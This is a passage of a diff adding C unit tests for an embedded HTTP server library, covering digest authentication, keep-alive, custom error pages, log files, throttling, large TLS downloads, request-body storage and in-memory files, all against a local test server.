+ + mg_printf(client_conn, "DELETE /%s HTTP/1.0\r\n", test_file); + mg_printf(client_conn, + "Authorization: Digest " + "username=\"%s\", " + "realm=\"%s\", " + "nonce=\"%s\", " + "uri=\"/%s\", " + "qop=auth, " + "nc=%s, " + "cnonce=\"%s\", " + "response=\"%s\"\r\n\r\n", + "user", + domain, + nonce, + test_file, + nc, + cnonce, + HA_md5_buf); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "401"); + mg_close_connection(client_conn); + + test_sleep(1); + + /* Remove the user from the .htpasswd file again */ + client_res = mg_modify_passwords_file(passwd_file, domain, "user", NULL); + ck_assert_int_eq(client_res, 1); + + test_sleep(1); + + + /* Try to access the file again. Expected: 401 error */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /%s HTTP/1.0\r\n\r\n", test_file); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "401"); + mg_close_connection(client_conn); + + test_sleep(1); + + + /* Now remove the password file */ + (void)remove(passwd_file); + test_sleep(1); + + + /* Access to the file must work like before */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /%s HTTP/1.0\r\n\r\n", test_file); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "200"); + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + ck_assert_int_gt(client_res, 0); + ck_assert_int_le(client_res, sizeof(client_err)); + ck_assert_str_eq(client_err, test_content); + mg_close_connection(client_conn); + + test_sleep(1); + + + /* Stop the server and clean up */ + test_mg_stop(ctx); + (void)remove(test_file); + (void)remove(passwd_file); + (void)remove("put_delete_auth_file.csv"); + +#endif + mark_point(); +} +END_TEST + + +START_TEST(test_keep_alive) +{ + struct mg_context *ctx; + const char *OPTIONS[] = + { "listening_ports", + "8081", + "request_timeout_ms", + "10000", + "enable_keep_alive", + "yes", +#if !defined(NO_FILES) + "document_root", + ".", + "enable_directory_listing", + "no", +#endif + NULL }; + + struct mg_connection *client_conn; + char client_err[256]; + const struct mg_request_info *client_ri; + int client_res, i; + const char *connection_header; + + mark_point(); + + ctx = test_mg_start(NULL, NULL, OPTIONS); + + ck_assert(ctx != NULL); + + /* HTTP 1.1 GET request */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8081, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, + "GET / HTTP/1.1\r\nHost: " + "localhost:8081\r\nConnection: keep-alive\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + +#if defined(NO_FILES) + ck_assert_str_eq(client_ri->local_uri, "404"); +#else + ck_assert_str_eq(client_ri->local_uri, "403"); +#endif + + connection_header = 0; + for (i = 0; i < client_ri->num_headers; i++) { + if (!mg_strcasecmp(client_ri->http_headers[i].name, "Connection")) { + ck_assert_ptr_eq(connection_header, NULL); + connection_header = client_ri->http_headers[i].value; + ck_assert_ptr_ne(connection_header, NULL); + } + } + /* Error replies will close the connection, even if keep-alive is set. */ + ck_assert_ptr_ne(connection_header, NULL); + ck_assert_str_eq(connection_header, "close"); + mg_close_connection(client_conn); + + test_sleep(1); + + /* TODO: request a file and keep alive + * (will only work if NO_FILES is not set). */ + + /* Stop the server and clean up */ + test_mg_stop(ctx); + + mark_point(); +} +END_TEST + + +START_TEST(test_error_handling) +{ + struct mg_context *ctx; + FILE *f; + + char bad_thread_num[32] = "badnumber"; + + struct mg_callbacks callbacks; + char errmsg[256]; + + struct mg_connection *client_conn; + char client_err[256]; + const struct mg_request_info *client_ri; + int client_res, i; + + const char *OPTIONS[32]; + int opt_cnt = 0; + + mark_point(); + +#if !defined(NO_FILES) + OPTIONS[opt_cnt++] = "document_root"; + OPTIONS[opt_cnt++] = "."; +#endif + OPTIONS[opt_cnt++] = "error_pages"; + OPTIONS[opt_cnt++] = "./"; + OPTIONS[opt_cnt++] = "listening_ports"; + OPTIONS[opt_cnt++] = "8080"; + OPTIONS[opt_cnt++] = "num_threads"; + OPTIONS[opt_cnt++] = bad_thread_num; + OPTIONS[opt_cnt++] = "unknown_option"; + OPTIONS[opt_cnt++] = "unknown_option_value"; + OPTIONS[opt_cnt] = NULL; + + memset(&callbacks, 0, sizeof(callbacks)); + + callbacks.log_message = log_msg_func; + + /* test with unknown option */ + memset(errmsg, 0, sizeof(errmsg)); + ctx = test_mg_start(&callbacks, (void *)errmsg, OPTIONS); + + /* Details of errmsg may vary, but it may not be empty */ + ck_assert_str_ne(errmsg, ""); + ck_assert(ctx == NULL); + ck_assert_str_eq(errmsg, "Invalid option: unknown_option"); + + /* Remove invalid option */ + for (i = 0; OPTIONS[i]; i++) { + if (strstr(OPTIONS[i], "unknown_option")) { + OPTIONS[i] = 0; + } + } + + /* Test with bad num_thread option */ + memset(errmsg, 0, sizeof(errmsg)); + ctx = test_mg_start(&callbacks, (void *)errmsg, OPTIONS); + + /* Details of errmsg may vary, but it may not be empty */ + ck_assert_str_ne(errmsg, ""); + ck_assert(ctx == NULL); + ck_assert_str_eq(errmsg, "Invalid number of worker threads"); + +/* Set to a number - but use a number above the limit */ +#ifdef MAX_WORKER_THREADS + sprintf(bad_thread_num, "%u", MAX_WORKER_THREADS + 1); +#else + sprintf(bad_thread_num, "%lu", 1000000000lu); +#endif + + /* Test with bad num_thread option */ + memset(errmsg, 0, sizeof(errmsg)); + ctx = test_mg_start(&callbacks, (void *)errmsg, OPTIONS); + + /* Details of errmsg may vary, but it may not be empty */ + ck_assert_str_ne(errmsg, ""); + ck_assert(ctx == NULL); + ck_assert_str_eq(errmsg, "Too many worker threads"); + + + /* HTTP 1.0 GET request - server is not running */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + ck_assert(client_conn == NULL); + + /* Error message detail may vary - it may not be empty ans should contain + * some information "connect" failed */ + ck_assert_str_ne(client_err, ""); + ck_assert(strstr(client_err, "connect")); + + + /* This time start the server with a valid configuration */ + sprintf(bad_thread_num, "%i", 1); + memset(errmsg, 0, sizeof(errmsg)); + ctx = test_mg_start(&callbacks, (void *)errmsg, OPTIONS); + + ck_assert_str_eq(errmsg, ""); + ck_assert(ctx != NULL); + + + /* Server is running now */ + test_sleep(1); + + /* Remove error files (in case they exist) */ + (void)remove("error.htm"); + (void)remove("error4xx.htm"); + (void)remove("error404.htm"); + + + /* Ask for something not existing - should get default 404 */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /something/not/existing HTTP/1.0\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "404"); + mg_close_connection(client_conn); + test_sleep(1); + + /* Create an error.htm file */ + f = fopen("error.htm", "wt"); + ck_assert(f != NULL); + (void)fprintf(f, "err-all"); + (void)fclose(f); + + + /* Ask for something not existing - should get error.htm */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /something/not/existing HTTP/1.0\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "200"); + + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + mg_close_connection(client_conn); + ck_assert_int_eq(client_res, 7); + client_err[8] = 0; + ck_assert_str_eq(client_err, "err-all"); + test_sleep(1); + + /* Create an error4xx.htm file */ + f = fopen("error4xx.htm", "wt"); + ck_assert(f != NULL); + (void)fprintf(f, "err-4xx"); + (void)fclose(f); + + + /* Ask for something not existing - should get error4xx.htm */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /something/not/existing HTTP/1.0\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "200"); + + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + mg_close_connection(client_conn); + ck_assert_int_eq(client_res, 7); + client_err[8] = 0; + ck_assert_str_eq(client_err, "err-4xx"); + test_sleep(1); + + /* Create an error404.htm file */ + f = fopen("error404.htm", "wt"); + ck_assert(f != NULL); + (void)fprintf(f, "err-404"); + (void)fclose(f); + + + /* Ask for something not existing - should get error404.htm */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET /something/not/existing HTTP/1.0\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "200"); + + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + mg_close_connection(client_conn); + ck_assert_int_eq(client_res, 7); + client_err[8] = 0; + ck_assert_str_eq(client_err, "err-404"); + test_sleep(1); + + + /* Ask in a malformed way - should get error4xx.htm */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "Gimme some file!\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + + ck_assert_str_eq(client_ri->local_uri, "200"); + + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + mg_close_connection(client_conn); + ck_assert_int_eq(client_res, 7); + client_err[8] = 0; + ck_assert_str_eq(client_err, "err-4xx"); + test_sleep(1); + + + /* Remove all error files created by this test */ + (void)remove("error.htm"); + (void)remove("error4xx.htm"); + (void)remove("error404.htm"); + + + /* Stop the server */ + test_mg_stop(ctx); + + + /* HTTP 1.1 GET request - must not work, since server is already stopped */ + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8080, 0, client_err, sizeof(client_err)); + + ck_assert(client_conn == NULL); + ck_assert_str_ne(client_err, ""); + + test_sleep(1); + + mark_point(); +} +END_TEST + + +START_TEST(test_error_log_file) +{ + /* Server var */ + struct mg_context *ctx; + const char *OPTIONS[32]; + int opt_cnt = 0; + + /* Client var */ + struct mg_connection *client; + char client_err_buf[256]; + char client_data_buf[256]; + const struct mg_request_info *client_ri; + + /* File content check var */ + FILE *f; + char buf[1024]; + int len, ok; + + mark_point(); + + /* Set options and start server */ + OPTIONS[opt_cnt++] = "listening_ports"; + OPTIONS[opt_cnt++] = "8080"; + OPTIONS[opt_cnt++] = "error_log_file"; + OPTIONS[opt_cnt++] = "error.log"; + OPTIONS[opt_cnt++] = "access_log_file"; + OPTIONS[opt_cnt++] = "access.log"; +#if !defined(NO_FILES) + OPTIONS[opt_cnt++] = "document_root"; + OPTIONS[opt_cnt++] = "."; +#endif + OPTIONS[opt_cnt] = NULL; + + ctx = test_mg_start(NULL, 0, OPTIONS); + ck_assert(ctx != NULL); + + /* Remove log files (they may exist from previous incomplete runs of + * this test) */ + (void)remove("error.log"); + (void)remove("access.log"); + + /* connect client */ + memset(client_err_buf, 0, sizeof(client_err_buf)); + memset(client_data_buf, 0, sizeof(client_data_buf)); + + client = mg_download("127.0.0.1", + 8080, + 0, + client_err_buf, + sizeof(client_err_buf), + "GET /not_existing_file.ext HTTP/1.0\r\n\r\n"); + + ck_assert(ctx != NULL); + ck_assert_str_eq(client_err_buf, ""); + + client_ri = mg_get_request_info(client); + + ck_assert(client_ri != NULL); + ck_assert_str_eq(client_ri->local_uri, "404"); + + /* Close the client connection */ + mg_close_connection(client); + + /* Stop the server */ + test_mg_stop(ctx); + + + /* Check access.log */ + memset(buf, 0, sizeof(buf)); + f = fopen("access.log", "r"); + ck_assert_msg(f != NULL, "Cannot open access log file"); + ok = (NULL != fgets(buf, sizeof(buf) - 1, f)); + (void)fclose(f); + ck_assert_msg(ok, "Cannot read access log file"); + len = (int)strlen(buf); + ck_assert_int_gt(len, 0); + ok = (NULL != strstr(buf, "not_existing_file.ext")); + ck_assert_msg(ok, "Did not find uri in access log file"); + ok = (NULL != strstr(buf, "404")); + ck_assert_msg(ok, "Did not find HTTP status code in access log file"); + + /* Check error.log */ + memset(buf, 0, sizeof(buf)); + f = fopen("error.log", "r"); + if (f) { + (void)fgets(buf, sizeof(buf) - 1, f); + fclose(f); + } + ck_assert_msg(f == NULL, + "Should not create error log file on 404, but got [%s]", + buf); + + /* Remove log files */ + (void)remove("error.log"); + (void)remove("access.log"); + + /* Start server with bad options */ + ck_assert_str_eq(OPTIONS[0], "listening_ports"); + OPTIONS[1] = "bad port syntax"; + + ctx = test_mg_start(NULL, 0, OPTIONS); + ck_assert_msg( + ctx == NULL, + "Should not be able to start server with bad port configuration"); + + /* Check access.log */ + memset(buf, 0, sizeof(buf)); + f = fopen("access.log", "r"); + if (f) { + (void)fgets(buf, sizeof(buf) - 1, f); + fclose(f); + } + ck_assert_msg( + f == NULL, + "Should not create access log file if start fails, but got [%s]", + buf); + + /* Check error.log */ + memset(buf, 0, sizeof(buf)); + f = fopen("error.log", "r"); + ck_assert_msg(f != NULL, "Cannot open access log file"); + ok = (NULL != fgets(buf, sizeof(buf) - 1, f)); + (void)fclose(f); + ck_assert_msg(ok, "Cannot read access log file"); + len = (int)strlen(buf); + ck_assert_int_gt(len, 0); + ok = (NULL != strstr(buf, "port")); + ck_assert_msg(ok, "Did not find port as error reason in error log file"); + + + /* Remove log files */ + (void)remove("error.log"); + (void)remove("access.log"); + + mark_point(); +} +END_TEST + + +static int +test_throttle_begin_request(struct mg_connection *conn) +{ + const struct mg_request_info *ri; + long unsigned len = 1024 * 10; + const char *block = "0123456789"; + unsigned long i, blocklen; + + ck_assert(conn != NULL); + ri = mg_get_request_info(conn); + ck_assert(ri != NULL); + + ck_assert_str_eq(ri->request_method, "GET"); + ck_assert_str_eq(ri->request_uri, "/throttle"); + ck_assert_str_eq(ri->local_uri, "/throttle"); + ck_assert_str_eq(ri->http_version, "1.0"); + ck_assert_str_eq(ri->query_string, "q"); + ck_assert_str_eq(ri->remote_addr, "127.0.0.1"); + + mg_printf(conn, + "HTTP/1.1 200 OK\r\n" + "Content-Length: %lu\r\n" + "Connection: close\r\n\r\n", + len); + + blocklen = (unsigned long)strlen(block); + + for (i = 0; i < len; i += blocklen) { + mg_write(conn, block, blocklen); + } + + mark_point(); + + return 987; /* Not a valid HTTP response code, + * but it should be written to the log and passed to + * end_request. */ +} + + +static void +test_throttle_end_request(const struct mg_connection *conn, + int reply_status_code) +{ + const struct mg_request_info *ri; + + ck_assert(conn != NULL); + ri = mg_get_request_info(conn); + ck_assert(ri != NULL); + + ck_assert_str_eq(ri->request_method, "GET"); + ck_assert_str_eq(ri->request_uri, "/throttle"); + ck_assert_str_eq(ri->local_uri, "/throttle"); + ck_assert_str_eq(ri->http_version, "1.0"); + ck_assert_str_eq(ri->query_string, "q"); + ck_assert_str_eq(ri->remote_addr, "127.0.0.1"); + + ck_assert_int_eq(reply_status_code, 987); +} + + +START_TEST(test_throttle) +{ + /* Server var */ + struct mg_context *ctx; + struct mg_callbacks callbacks; + const char *OPTIONS[32]; + int opt_cnt = 0; + + /* Client var */ + struct mg_connection *client; + char client_err_buf[256]; + char client_data_buf[256]; + const struct mg_request_info *client_ri; + + /* timing test */ + int r, data_read; + time_t t0, t1; + double dt; + + mark_point(); + + +/* Set options and start server */ +#if !defined(NO_FILES) + OPTIONS[opt_cnt++] = "document_root"; + OPTIONS[opt_cnt++] = "."; +#endif + OPTIONS[opt_cnt++] = "listening_ports"; + OPTIONS[opt_cnt++] = "8080"; + OPTIONS[opt_cnt++] = "throttle"; + OPTIONS[opt_cnt++] = "*=1k"; + OPTIONS[opt_cnt] = NULL; + + memset(&callbacks, 0, sizeof(callbacks)); + callbacks.begin_request = test_throttle_begin_request; + callbacks.end_request = test_throttle_end_request; + + ctx = test_mg_start(&callbacks, 0, OPTIONS); + ck_assert(ctx != NULL); + + /* connect client */ + memset(client_err_buf, 0, sizeof(client_err_buf)); + memset(client_data_buf, 0, sizeof(client_data_buf)); + + strcpy(client_err_buf, "reset-content"); + client = mg_download("127.0.0.1", + 8080, + 0, + client_err_buf, + sizeof(client_err_buf), + "GET /throttle?q HTTP/1.0\r\n\r\n"); + + ck_assert(ctx != NULL); + ck_assert_str_eq(client_err_buf, ""); + + client_ri = mg_get_request_info(client); + + ck_assert(client_ri != NULL); + ck_assert_str_eq(client_ri->local_uri, "200"); + + ck_assert_int_eq(client_ri->content_length, 1024 * 10); + + data_read = 0; + t0 = time(NULL); + while (data_read < client_ri->content_length) { + r = mg_read(client, client_data_buf, sizeof(client_data_buf)); + ck_assert_int_ge(r, 0); + data_read += r; + } + t1 = time(NULL); + dt = difftime(t1, t0) * 1000.0; /* Elapsed time in ms - in most systems + * only with second resolution */ + + /* Time estimation: Data size is 10 kB, with 1 kB/s speed limit. + * The first block (1st kB) is transferred immediately, the second + * block (2nd kB) one second later, the third block (3rd kB) two + * seconds later, .. the last block (10th kB) nine seconds later. + * The resolution of time measurement using the "time" C library + * function is 1 second, so we should add +/- one second tolerance. + * Thus, download of 10 kB with 1 kB/s should not be faster than + * 8 seconds. */ + + /* Check if there are at least 8 seconds */ + ck_assert_int_ge((int)dt, 8 * 1000); + + /* Nothing left to read */ + r = mg_read(client, client_data_buf, sizeof(client_data_buf)); + ck_assert_int_eq(r, 0); + + /* Close the client connection */ + mg_close_connection(client); + + /* Stop the server */ + test_mg_stop(ctx); + + mark_point(); +} +END_TEST + + +START_TEST(test_init_library) +{ + unsigned f_avail, f_ret; + + mark_point(); + + f_avail = mg_check_feature(0xFF); + f_ret = mg_init_library(f_avail); + ck_assert_uint_eq(f_ret, f_avail); +} +END_TEST + + +#define LARGE_FILE_SIZE (1024 * 1024 * 10) + +static int +test_large_file_begin_request(struct mg_connection *conn) +{ + const struct mg_request_info *ri; + long unsigned len = LARGE_FILE_SIZE; + const char *block = "0123456789"; + uint64_t i; + size_t blocklen; + + ck_assert(conn != NULL); + ri = mg_get_request_info(conn); + ck_assert(ri != NULL); + + ck_assert_str_eq(ri->request_method, "GET"); + ck_assert_str_eq(ri->http_version, "1.1"); + ck_assert_str_eq(ri->remote_addr, "127.0.0.1"); + ck_assert_ptr_eq(ri->query_string, NULL); + ck_assert_ptr_ne(ri->local_uri, NULL); + + mg_printf(conn, + "HTTP/1.1 200 OK\r\n" + "Content-Length: %lu\r\n" + "Connection: close\r\n\r\n", + len); + + blocklen = strlen(block); + + for (i = 0; i < len; i += blocklen) { + mg_write(conn, block, blocklen); + } + + mark_point(); + + return 200; +} + + +START_TEST(test_large_file) +{ + /* Server var */ + struct mg_context *ctx; + struct mg_callbacks callbacks; + const char *OPTIONS[32]; + int opt_cnt = 0; +#if !defined(NO_SSL) + const char *ssl_cert = locate_ssl_cert(); +#endif + char errmsg[256] = {0}; + + /* Client var */ + struct mg_connection *client; + char client_err_buf[256]; + char client_data_buf[256]; + const struct mg_request_info *client_ri; + int64_t data_read; + int r; + int retry, retry_ok_cnt, retry_fail_cnt; + + mark_point(); + +/* Set options and start server */ +#if !defined(NO_FILES) + OPTIONS[opt_cnt++] = "document_root"; + OPTIONS[opt_cnt++] = "."; +#endif +#if defined(NO_SSL) + OPTIONS[opt_cnt++] = "listening_ports"; + OPTIONS[opt_cnt++] = "8080"; +#else + OPTIONS[opt_cnt++] = "listening_ports"; + OPTIONS[opt_cnt++] = "8443s"; + OPTIONS[opt_cnt++] = "ssl_certificate"; + OPTIONS[opt_cnt++] = ssl_cert; +#ifdef __MACH__ + /* The Apple builds on Travis CI seem to have problems with TLS1.x + * Allow SSLv3 and TLS */ + OPTIONS[opt_cnt++] = "ssl_protocol_version"; + OPTIONS[opt_cnt++] = "2"; +#else + /* The Linux builds on Travis CI work fine with TLS1.2 */ + OPTIONS[opt_cnt++] = "ssl_protocol_version"; + OPTIONS[opt_cnt++] = "4"; +#endif + ck_assert(ssl_cert != NULL); +#endif + OPTIONS[opt_cnt] = NULL; + + + memset(&callbacks, 0, sizeof(callbacks)); + callbacks.begin_request = test_large_file_begin_request; + callbacks.log_message = log_msg_func; + + ctx = test_mg_start(&callbacks, (void *)errmsg, OPTIONS); + ck_assert_str_eq(errmsg, ""); + ck_assert(ctx != NULL); + + /* Try downloading several times */ + retry_ok_cnt = 0; + retry_fail_cnt = 0; + for (retry = 0; retry < 3; retry++) { + int fail = 0; + /* connect client */ + memset(client_err_buf, 0, sizeof(client_err_buf)); + memset(client_data_buf, 0, sizeof(client_data_buf)); + + client = + mg_download("127.0.0.1", +#if defined(NO_SSL) + 8080, + 0, +#else + 8443, + 1, +#endif + client_err_buf, + sizeof(client_err_buf), + "GET /large.file HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"); + + ck_assert(client != NULL); + ck_assert_str_eq(client_err_buf, ""); + + client_ri = mg_get_request_info(client); + + ck_assert(client_ri != NULL); + ck_assert_str_eq(client_ri->local_uri, "200"); + + ck_assert_int_eq(client_ri->content_length, LARGE_FILE_SIZE); + + data_read = 0; + while (data_read < client_ri->content_length) { + r = mg_read(client, client_data_buf, sizeof(client_data_buf)); + if (r < 0) { + fail = 1; + break; + }; + data_read += r; + } + + /* Nothing left to read */ + r = mg_read(client, client_data_buf, sizeof(client_data_buf)); + if (fail) { + ck_assert_int_eq(r, -1); + retry_fail_cnt++; + } else { + ck_assert_int_eq(r, 0); + retry_ok_cnt++; + } + + /* Close the client connection */ + mg_close_connection(client); + } + +#if defined(_WIN32) +// TODO: Check this problem on AppVeyor +// ck_assert_int_le(retry_fail_cnt, 2); +// ck_assert_int_ge(retry_ok_cnt, 1); +#else + ck_assert_int_eq(retry_fail_cnt, 0); + ck_assert_int_eq(retry_ok_cnt, 3); +#endif + + /* Stop the server */ + test_mg_stop(ctx); + + mark_point(); +} +END_TEST + + +static int test_mg_store_body_con_len = 20000; + + +static int +test_mg_store_body_put_delete_handler(struct mg_connection *conn, void *ignored) +{ + char path[4096] = {0}; + const struct mg_request_info *info = mg_get_request_info(conn); + int64_t rc; + + (void)ignored; + + mark_point(); + + sprintf(path, "./%s", info->local_uri); + rc = mg_store_body(conn, path); + + ck_assert_int_eq(test_mg_store_body_con_len, rc); + + if (rc < 0) { + mg_printf(conn, + "HTTP/1.1 500 Internal Server Error\r\n" + "Content-Type:text/plain;charset=UTF-8\r\n" + "Connection:close\r\n\r\n" + "%s (ret: %ld)\n", + path, + (long)rc); + mg_close_connection(conn); + + /* Debug output for tests */ + printf("mg_store_body(%s) failed (ret: %ld)\n", path, (long)rc); + + return 500; + } + + mg_printf(conn, + "HTTP/1.1 200 OK\r\n" + "Content-Type:text/plain;charset=UTF-8\r\n" + "Connection:close\r\n\r\n" + "%s OK (%ld bytes saved)\n", + path, + (long)rc); + mg_close_connection(conn); + + /* Debug output for tests */ + printf("mg_store_body(%s) OK (%ld bytes)\n", path, (long)rc); + + mark_point(); + + return 200; +} + + +static int +test_mg_store_body_begin_request_callback(struct mg_connection *conn) +{ + const struct mg_request_info *info = mg_get_request_info(conn); + + mark_point(); + + /* Debug output for tests */ + printf("test_mg_store_body_begin_request_callback called (%s)\n", + info->request_method); + + if ((strcmp(info->request_method, "PUT") == 0) + || (strcmp(info->request_method, "DELETE") == 0)) { + return test_mg_store_body_put_delete_handler(conn, NULL); + } + + mark_point(); + + return 0; +} + + +START_TEST(test_mg_store_body) +{ + /* Client data */ + char client_err_buf[256]; + char client_data_buf[1024]; + struct mg_connection *client; + const struct mg_request_info *client_ri; + int r; + char check_data[256]; + char *check_ptr; + char errmsg[256] = {0}; + + /* Server context handle */ + struct mg_context *ctx; + struct mg_callbacks callbacks; + const char *options[] = { +#if !defined(NO_FILES) + "document_root", + ".", +#endif +#if !defined(NO_CACHING) + "static_file_max_age", + "0", +#endif + "listening_ports", + "127.0.0.1:8082", + "num_threads", + "1", + NULL + }; + + mark_point(); + + memset(&callbacks, 0, sizeof(callbacks)); + callbacks.begin_request = test_mg_store_body_begin_request_callback; + callbacks.log_message = log_msg_func; + + /* Initialize the library */ + mg_init_library(0); + + /* Start the server */ + ctx = mg_start(&callbacks, (void *)errmsg, options); + ck_assert_str_eq(errmsg, ""); + ck_assert(ctx != NULL); + + /* Run the server for 15 seconds */ + test_sleep(15); + + /* Call a test client */ + client = mg_connect_client( + "127.0.0.1", 8082, 0, client_err_buf, sizeof(client_err_buf)); + + ck_assert_str_eq(client_err_buf, ""); + ck_assert(client != NULL); + + mg_printf(client, + "PUT /%s HTTP/1.0\r\nContent-Length: %i\r\n\r\n", + "test_file_name.txt", + test_mg_store_body_con_len); + + r = 0; + while (r < test_mg_store_body_con_len) { + int l = mg_write(client, "1234567890", 10); + ck_assert_int_eq(l, 10); + r += 10; + } + + r = mg_get_response(client, client_err_buf, sizeof(client_err_buf), 10000); + ck_assert_int_ge(r, 0); + ck_assert_str_eq(client_err_buf, ""); + + client_ri = mg_get_request_info(client); + ck_assert(client_ri != NULL); + + /* Response must be 200 OK */ + ck_assert_ptr_ne(client_ri->request_uri, NULL); + ck_assert_str_eq(client_ri->request_uri, "200"); + + /* Read PUT response */ + r = mg_read(client, client_data_buf, sizeof(client_data_buf) - 1); + ck_assert_int_gt(r, 0); + client_data_buf[r] = 0; + + sprintf(check_data, "(%i bytes saved)", test_mg_store_body_con_len); + check_ptr = strstr(client_data_buf, check_data); + ck_assert_ptr_ne(check_ptr, NULL); + + mg_close_connection(client); + + /* Run the server for 5 seconds */ + test_sleep(5); + + /* Stop the server */ + test_mg_stop(ctx); + + /* Un-initialize the library */ + mg_exit_library(); + + mark_point(); +} +END_TEST + + +#if defined(MG_USE_OPEN_FILE) && !defined(NO_FILES) + +#define FILE_IN_MEM_SIZE (1024 * 100) +static char *file_in_mem_data; + +static const char * +test_file_in_memory_open_file(const struct mg_connection *conn, + const char *file_path, + size_t *file_size) +{ + (void)conn; + + if (strcmp(file_path, "./file_in_mem") == 0) { + /* File is in memory */ + *file_size = FILE_IN_MEM_SIZE; + return file_in_mem_data; + } else { + /* File is not in memory */ + return NULL; + } +} + + +START_TEST(test_file_in_memory) +{ + /* Server var */ + struct mg_context *ctx; + struct mg_callbacks callbacks; + const char *OPTIONS[32]; + int opt_cnt = 0; +#if !defined(NO_SSL) + const char *ssl_cert = locate_ssl_cert(); +#endif + + /* Client var */ + struct mg_connection *client; + char client_err_buf[256]; + char client_data_buf[256]; + const struct mg_request_info *client_ri; + int64_t data_read; + int r, i; + + /* Prepare test data */ + file_in_mem_data = (char *)malloc(FILE_IN_MEM_SIZE); + ck_assert_ptr_ne(file_in_mem_data, NULL); + for (r = 0; r < FILE_IN_MEM_SIZE; r++) { + file_in_mem_data[r] = (char)(r); + } + + /* Set options and start server */ + OPTIONS[opt_cnt++] = "document_root"; + OPTIONS[opt_cnt++] = "."; +#if defined(NO_SSL) + OPTIONS[opt_cnt++] = "listening_ports"; + OPTIONS[opt_cnt++] = "8080"; +#else + OPTIONS[opt_cnt++] = "listening_ports"; + OPTIONS[opt_cnt++] = "8443s"; + OPTIONS[opt_cnt++] = "ssl_certificate"; + OPTIONS[opt_cnt++] = ssl_cert; + ck_assert(ssl_cert != NULL); +#endif + OPTIONS[opt_cnt] = NULL; + + + memset(&callbacks, 0, sizeof(callbacks)); + callbacks.open_file = test_file_in_memory_open_file; + + ctx = test_mg_start(&callbacks, 0, OPTIONS); + ck_assert(ctx != NULL); + + /* connect client */ + memset(client_err_buf, 0, sizeof(client_err_buf)); + memset(client_data_buf, 0, 